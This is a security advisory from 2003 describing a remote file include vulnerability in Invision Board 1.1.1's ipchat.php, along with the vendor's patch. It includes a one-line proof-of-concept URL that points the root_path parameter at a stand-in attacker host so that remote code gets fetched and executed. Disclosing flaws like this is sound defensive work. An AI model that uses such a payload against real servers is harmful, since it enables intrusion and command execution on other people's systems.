Invision Board ipchat.php Remote File Include Vulnerability

BID:6976

Info

Invision Board ipchat.php Remote File Include Vulnerability

Bugtraq ID: 6976
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Feb 27 2003 12:00AM
Updated: Feb 27 2003 12:00AM
Credit: Discovery of this vulnerability has been credited to "Frog Man" <[email protected]>.
Vulnerable: Invision Power Services Invision Board 1.1.1
Not Vulnerable:

Discussion

Invision Board ipchat.php Remote File Include Vulnerability

Invision Board is prone to an issue that may allow remote attackers to include files located on attacker-controlled servers.

This vulnerability is as a result of insufficient sanitization performed on remote user supplied data used in URI parameters of certain PHP pages.

Under some circumstances, it may be possible for remote attackers to influence the include path for a global configuration file to point to an external file on a remote server.

If the remote file is a malicious file, this vulnerability may be exploited to execute arbitrary system commands in the context of the web server.

Exploit / POC

Invision Board ipchat.php Remote File Include Vulnerability

The following proof of concept was provided:

http://www.example.com/ipchat.php?root_path=http://www.attacker.com/conf_global.php

Solution / Fix

Invision Board ipchat.php Remote File Include Vulnerability

Solution:
The vendor has confirmed the issue and released a patched version of the 'ipchat.php' file.


Invision Power Services Invision Board 1.1.1

References

Invision Board ipchat.php Remote File Include Vulnerability

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